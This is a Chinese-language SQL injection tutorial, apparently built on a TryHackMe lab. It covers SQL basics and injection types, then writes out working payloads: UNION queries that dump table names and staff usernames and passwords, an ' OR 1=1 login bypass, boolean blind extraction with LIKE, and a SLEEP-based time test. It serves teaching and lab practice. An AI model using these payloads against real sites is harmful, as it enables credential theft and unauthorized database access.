SQL注入(基于 tryhackme 的讲解)
一、什么是SQL注入
SQL注入攻擊(SQL Injection),簡稱注入攻擊、SQL注入,被廣泛用于非法獲取網(wǎng)站控制權(quán),是發(fā)生在應(yīng)用程序的數(shù)據(jù)庫層上的安全漏洞。在設(shè)計程序時,忽略了對輸入字符串中夾帶的SQL指令的檢查,被數(shù)據(jù)庫誤認(rèn)為是正常的SQL指令而運行,從而使數(shù)據(jù)庫受到攻擊,可能導(dǎo)致數(shù)據(jù)被竊取、更改、刪除,以及進一步導(dǎo)致網(wǎng)站被嵌入惡意代碼、被植入后門程序等危害。
根據(jù)相關(guān)技術(shù)原理,SQL注入可以分為平臺層注入和代碼層注入。前者由不安全的數(shù)據(jù)庫配置或數(shù)據(jù)庫平臺的漏洞所致;后者主要是由于程序員對輸入未進行細(xì)致地過濾,從而執(zhí)行了非法的數(shù)據(jù)查詢。
通常情況下的sql注入的位置如下:
(1)表單提交,主要是POST請求,也包括GET請求; (2)URL參數(shù)提交,主要為GET請求參數(shù); (3)Cookie參數(shù)提交; (4)HTTP請求頭部的一些可修改的值,比如Referer、User_Agent等; (5)一些邊緣的輸入點,比如.mp3文件的一些文件信息等。
先決條件:一是用戶能控制輸入,二是本來程序要執(zhí)行的代碼,憑借了用戶輸入的數(shù)據(jù)
二、危害
1.數(shù)據(jù)庫信息泄漏:數(shù)據(jù)庫中存放的用戶的隱私信息的泄露。
2.網(wǎng)頁篡改:通過操作數(shù)據(jù)庫對特定網(wǎng)頁進行篡改。
3.網(wǎng)站被掛馬,傳播惡意軟件:修改數(shù)據(jù)庫一些字段的值,嵌入網(wǎng)馬鏈接,進行掛馬攻擊。
4.數(shù)據(jù)庫被惡意操作:數(shù)據(jù)庫服務(wù)器被攻擊,數(shù)據(jù)庫的系統(tǒng)管理員帳戶被竄改。
5.服務(wù)器被遠程控制,被安裝后門。經(jīng)由數(shù)據(jù)庫服務(wù)器提供的操作系統(tǒng)支持,讓黑客得以修改或控制操作系統(tǒng)。 破壞硬盤數(shù)據(jù),癱瘓全系統(tǒng)。
6.一些類型的數(shù)據(jù)庫系統(tǒng)能夠讓SQL指令操作文件系統(tǒng),這使得SQL注入的危害被進一步放大。
三、SQL語句
1 . SELECT?
select * from users;1)select是告訴數(shù)據(jù)庫我們想提取出一些信息
2)*是告訴數(shù)據(jù)庫我們要提取出所有列的信息
3)from users是告訴數(shù)據(jù)庫我們要提取出名字為users的表的信息
4)最后的分號是結(jié)束
| 1 | jon | pass123 |
| 2 | admin | p4ssword |
| 3 | martin | secret123 |
?
select username,password from users;這句與上面的類似,只是它特定的指出我要提出的是名字為users的表里面名字為username和password兩個列的類容
?
?
??
select * from users LIMIT 1;下面的查詢和第一個一樣,使用 * 選擇器返回所有列,然后“LIMIT 1”子句強制數(shù)據(jù)庫只返回一行數(shù)據(jù)。將查詢更改為“LIMIT 1,1”強制查詢跳過第一個結(jié)果,然后“LIMIT 2,1”跳過前兩個結(jié)果,依此類推。您需要記住第一個數(shù)字告訴數(shù)據(jù)庫您希望跳過多少結(jié)果,第二個數(shù)字告訴數(shù)據(jù)庫要返回多少行。
select * from users where username='admin';這里出現(xiàn)的where,where相當(dāng)于一個查找功能,where username='admin'就相當(dāng)于查找表中username為admin的一行,
?
select * from users where username != 'admin';顧名思義,就是返回除了admin的其他行
select * from users where username='admin' or username='jon';顧名思義!!!!!!!
select * from users where username='admin' and password='p4ssword';這只會返回用戶名等于admin且密碼等于p4ssword 的行。
select * from users where username like 'a%';like就相當(dāng)于一個篩選語法,該語句的作用就是篩選出username中含字母a的那一行
select * from users where username like '%mi%';篩選出含有字母mi的一行
2 . UNION
顧名思義就是縫合
舉個栗子,你現(xiàn)在手上有一個班級的兩張名單(一半人在第一張表上,另一半人在第二張表上),你拿著很不方便,所以你選擇把他在電腦上全部做成統(tǒng)一的一張表,這個過程其實就是一個聯(lián)合的過程
但是在數(shù)據(jù)庫中,要想這樣做要滿足幾個條件,第一就是你兩張表的列數(shù)要相等,其次每一列的數(shù)據(jù)類型要對應(yīng)相同
例如下面有兩張表:
?
?
?
?
然后執(zhí)行下列語句,就可以將兩張表放在同一張表中:
SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;3 . INSERT
insert into users (username,password) values ('bob','password123');此句的作用是為了向users表中的username和password的列中分別插入bob和password123兩個數(shù)據(jù)
?
4 . UPDATE
在 UPDATE 語句告訴我們希望在表中更新數(shù)據(jù)的一行或多行的數(shù)據(jù)庫。您使用“ update %tablename% SET ”指定要更新的表,然后選擇要更新的一個或多個字段作為逗號分隔的列表,例如“ username='root',password='pass123' ”然后最后與 SELECT 語句類似,您可以使用 where 子句(例如“ where username='admin; ”)準(zhǔn)確指定要更新的行。
update users SET username='root',password='pass123' where username='admin';?
?
5 . DELETE
該 DELETE 語句告訴我們要刪除數(shù)據(jù)的一行或多行的數(shù)據(jù)庫。他也可以使用limit和where
delete from users where username='martin'; delete from users;因為查詢中沒有使用 WHERE 子句,所以表中的所有數(shù)據(jù)都被刪除了。
四、SQL注入的分類
1.如何判斷是否存在sql注入
在URL或者表單中輸入一個單引號或者其他特殊符號,頁面出現(xiàn)錯誤說明此頁面存在SQL注入,如果頁面正常顯示說明有字符被過濾或者不存在注入
2.具體類別
事實上SQL注入有很多種,按數(shù)據(jù)類型可以分為數(shù)字型、字符型和搜索型,按提交方式可分為GET型,POST型,Cookie型和HTTP請求頭注入,按執(zhí)行效果有可以分為報錯注入、聯(lián)合查詢注入、盲注和堆查詢注入,其中盲注又可分為基于bool的和基于時間的注入。從查詢語句即可看出來這里是字符型的注入同時也是GET型注入和表單注入,數(shù)字型注入查詢語句為:SELECT * FROM user WHERE id=1,搜索型注入查詢語句為:SELECT * FROM user WHERE search like '%1%'。
3.數(shù)字型注入
在URL或者表單中輸入0 or 1,如果可以查到數(shù)據(jù),說明是數(shù)字型注入
4.字符型注入
在URL或者表單中輸入 0'or 1#,查到數(shù)據(jù)說明是字符型注入,方法不唯一??傊?dāng)?shù)字型注入不需要使用單引號閉合前面的單引號就可以執(zhí)行SQL語句,而字符型必須閉合前面的單引號,然后才可以執(zhí)行SQL語句,同時也需要把后面的單引號閉合,而注釋就是很好的一種閉合后面的單引號的方法。
5.搜索型注入
一些網(wǎng)站為了方便用戶查找網(wǎng)站的資源,都對用戶提供了搜索的功能,因為是搜索功能,往往是程序員在編寫代碼時都忽略了對其變量(參數(shù))的過濾,而且這樣的漏洞在國內(nèi)的系統(tǒng)中普遍的存在:
其中又分為POST/GET,GET型的一般是用在網(wǎng)站上的搜索,而POST則用在用戶名的登錄,可以從form表單的method="get"屬性來區(qū)分是get還是post。搜索型注入又稱為文本框注入。
判斷方法為:
1 搜索keywords‘,如果出錯的話,有90%的可能性存在漏洞;
2 搜索 keywords%,如果同樣出錯的話,就有95%的可能性存在漏洞;
3 搜索keywords% 'and 1=1 and '%'='(這個語句的功能就相當(dāng)于普通SQL注入的 and 1=1)看返回的情況
搜索keywords% 'and 1=2 and '%'='(這個語句的功能就相當(dāng)于普通SQL注入的 and 1=2)看返回的情況
——根據(jù)兩次的返回情況來判斷是不是搜索型文本框注入了
五、注入方法
注入方法可以直接在URL中提交注入語句,需要注意的是,在URL提交SQL語句,需要將注釋符#進行URL編碼,有時候所有SQL語句都需要URL編碼
1.聯(lián)合查詢注入
聯(lián)合查詢注入也是用的非常多的,可以在URL中提交SQL語句,也可以在表單提交,聯(lián)合查詢相當(dāng)于把別的表的數(shù)據(jù)查詢結(jié)果顯示到當(dāng)前表,使用聯(lián)合查詢時,必須使得兩張表的表結(jié)構(gòu)一致,因此我們需要判斷當(dāng)前表的列數(shù)有多少列,此外還需知道是字符型注入還是數(shù)字型注入。它屬于In-Band SQLI的一員
(1)前提條件:要有顯示位
什么是顯示位:在一個在一個網(wǎng)站的正常頁面,服務(wù)端執(zhí)行SQL語句查詢數(shù)據(jù)庫中的數(shù)據(jù),客戶端將數(shù) 據(jù)展示在頁面中,這個展示數(shù)據(jù)的位置就叫顯示位
(2)注入過程
1)判斷注入點
我們在可能存在SQL注入變量的后邊添加以下payload:
and 1=1 / and 1=2 回顯頁面不同(整形判斷)
單引號判斷‘ 顯示數(shù)據(jù)庫錯誤信息或者頁面回顯不同(整形,字符串類型判斷)
\ (轉(zhuǎn)義符)
-1/+1 回顯下一個或上一個頁面(整型判斷)
注:加號‘+’在URL中有特殊含義,因此在需要對其進行URL編碼為%2b
2)判斷注入類型
3)判斷查詢列數(shù)
order by 函數(shù)是對MySQL中查詢結(jié)果按照指定字段名進行排序,除了指定字段名還可以指定字段的欄位進行排序,第一個查詢字段為1,第二個為2,依次 類推。(我們也可以通過二分法來猜解列數(shù))
?
由圖可知這個表只有3列
4)開聯(lián)
?
發(fā)現(xiàn)出來的是文章,不是用戶資料,那么我們把id改為0看看。
?
?
接下來讓我們看看數(shù)據(jù)庫的名字
?
?
發(fā)現(xiàn)數(shù)據(jù)庫的名字是sqli_one,那么接下來我們會用到一個語句
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'其中,group_concat() 從多個返回的行中獲取指定的列(在我們的例子中是 table_name),并將其放入一個以逗號分隔的字符串中,接下里是接下來是 information_schema 數(shù)據(jù)庫;數(shù)據(jù)庫的每個用戶都可以訪問它,它包含有關(guān)用戶有權(quán)訪問的所有數(shù)據(jù)庫和表的信息。在這個特定的查詢中,我們有興趣列出sqli_one 數(shù)據(jù)庫中的所有表 ,即 article 和 staff_users。
?
發(fā)現(xiàn)我們有兩個表,因為我們是對密碼感興趣,所以我們進入staff_users
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'?
?
此時我們發(fā)現(xiàn)在staff_users中有三列,分別是id,password,username。那么我們把username和password列出來就行
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users我們再次使用 group_concat 方法將所有行返回到一個字符串中并使其更易于閱讀。我們還添加了 ,':' 來將用戶名和密碼分開。
?
搞定!!!!!!!
2.基于bool的盲注
與In-Band SQL injection不同,In-Band注入會在頁面顯示結(jié)果,但盲注就只有一點或是沒有任何反饋信息,但恰恰是這些微不足道的返回信息就足以枚舉出數(shù)據(jù)庫中的所有信息。
所謂“盲注”,就是在服務(wù)器關(guān)閉錯誤回顯時完成的注入攻擊。
而判斷其是否存在sql注入的方法就是構(gòu)造一個簡單的語句,根據(jù)返回頁面是否發(fā)生變化,來判斷sql語句是否得到執(zhí)行。(具體可參照web書第152頁)
(1)身份驗證繞過
最簡單的SQL盲注技術(shù)之一是繞過登錄身份驗證的方法。在這種情況下,我們對從數(shù)據(jù)庫中檢索數(shù)據(jù)不感興趣;我們只想通過登錄。
在處理這個問題時,數(shù)據(jù)庫是關(guān)心我們輸入的數(shù)據(jù)是否與數(shù)據(jù)庫中的數(shù)據(jù)相匹配,而不關(guān)心內(nèi)容,所以我們沒必要列舉所有的用戶名及密碼。
下面是一個sql語句
select * from users where username='%username%' and password='%password%' LIMIT 1;其中百分號是取用戶輸入內(nèi)容進行替換。
而為了使sql語句永真,就需要構(gòu)造 ’ OR 1=1;
將sql語句替換成:
select * from users where username='' and password='' OR 1=1前面的單引號是為了讓前面的語句閉合 ,后面的分號讓后面的閉合,從而導(dǎo)致后面的語句失效。
?
?
(2)Boolean Based
該注入是可以從頁面返回的信息中得知對錯,從而得知自己數(shù)據(jù)的正確與否。
下面是一條sql語句和所對應(yīng)的頁面
select * from users where username = '%username%' LIMIT 1;?
?
對于這個例題,要先將前面和后面的單引號閉合,因為無法返回頁面,所以只能試探:
?
?
發(fā)現(xiàn)頁面返回為對。那么就繼續(xù)往下執(zhí)行,將數(shù)據(jù)庫的名字弄出來:
admin' UNION SELECT 1,2,3 where database() like 's%';通過like可以將數(shù)據(jù)庫的名字一步一步的通過湊的方式來將數(shù)據(jù)庫名字弄出來。、
在出數(shù)據(jù)庫名字后,則將數(shù)據(jù)庫中的表列舉出來:
admin' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';通過這樣的方法再次列舉出有一張表為users。
最后列舉出列表名:
admin' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';當(dāng)然也可以使用下面的語句將不重要的列名除去:
? admin' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';?之后你完整的得到了表名,列名,之后用常規(guī)的語句去找出用戶名和密碼:
admin' UNION SELECT 1,2,3 from users where username like 'a%';?
admin' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%';最后得到密碼,侵入成功。
(3)基于時間的盲注
此時唯一與Boolean不同的是,它是靠信息的返回時間來判斷注入是否成功。基本方法與Boolean一樣
語句稍微修改一下:
admin123' UNION SELECT SLEEP(5),2;--3. Out-of-Band SQL i
?
?
不要問為什么這樣做,因為懶。
?
?
從此完結(jié)
?
總結(jié)
以上是生活随笔為你收集整理的SQL注入(基于 tryhackme 的讲解)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: QtCreator中Kits选项变灰,有
- 下一篇: Web IDE优势在哪?详解Web版数据